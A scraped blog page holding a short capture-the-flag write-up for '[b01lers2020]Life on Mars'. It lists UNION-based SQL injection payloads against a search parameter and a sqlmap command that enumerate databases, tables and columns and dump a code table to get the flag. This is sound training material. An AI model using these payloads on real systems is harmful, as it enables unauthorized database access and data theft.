当前位置:网站首页>[b01lers2020]Life on Mars
[b01lers2020]Life on Mars
2022-08-03 22:03:00 【New Reading of the Classic of Tea.】
[b01lers2020]Life on Mars
A general look at the points is not important, f12 found nothing, and the packet capture found GET /query?search=&amazonis_planitia&{}&_=1659321817406
strong>, click on different titles, the content of amazonis_planitia will also change with itAttempt to enter the page it appears on this page
Find a lot of data, try union query: /query?search=amazonis_planitia union select 1,2, find that there areecho
Check the library: /query?search=amazonis_planitia union select version(),database()
Check the table: /query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='aliens'
After checking, I found that the echoed things are the titles of the first page, query the fields of the table: /query?search=amazonis_planitia union select1,group_concat(column_name) from information_schema.columns where table_name='amazonis_planitia', nothing special
Use the sqlmap tool to scan it
sqlmap download: sqlmap: automatic SQL injection and database takeover tool
python2 sqlmap.py -u http://xxxxxxxx.node4.buuoj.cn:81/query?search=amazonis_planitia --dbs
I found that there are three databases in the modified webpage, and you can check it yourself: /query?search=amazonis_planitia union select 1,group_concat(schema_name) from information_schema.SCHEMATA, there are indeed three databases
I have already queried aliens and found nothing, continue to query the table of alien_code: /query?search=amazonis_planitia union select 1,group_concat(table_name)from information_schema.tables where table_schema='alien_code'
Query the fields of the code table: /query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='code'
Check the content: /query?search=amazonis_planitia union select group_concat(id),group_concat(code) from alien_code.code
This is the end, let's spread the flowers
边栏推荐
猜你喜欢
随机推荐
LVS负载均衡集群
D - Project Planning--二分
软件测试人员必备的60个测试工具清单,建议收藏一波~
线程池的高级应用技巧核心解读
What is the role and difference between buildscript and allprojects?
XSS线上靶场---haozi
472. Concatenated Words
电商数仓ODS层-----日志数据装载
【刷题篇】二叉树的右视图
2022年全国职业院校技能大赛网络安全 B模块 B-1任务一:主机发现与信息收集 国赛原题
CAS:908007-17-0_Biotin-azide _生物素叠氮化物
2022的七夕,奉上7个精美的表白代码,同时教大家快速改源码自用
FVCOM三维水动力、水交换、溢油物质扩散及输运数值模拟丨FVCOM模型流域、海洋水环境数值模拟方法
XSS online shooting range---Warmups
全球观之地理部分
互联网用户账号信息管理规定今起施行:必须严打账号买卖灰产
DO280管理和监控OpenShift平台--资源限制
关于Yii2批量更新的操作
483. Smallest Good Base
上课笔记(6)(1)——#629. 表达式括号匹配(stack)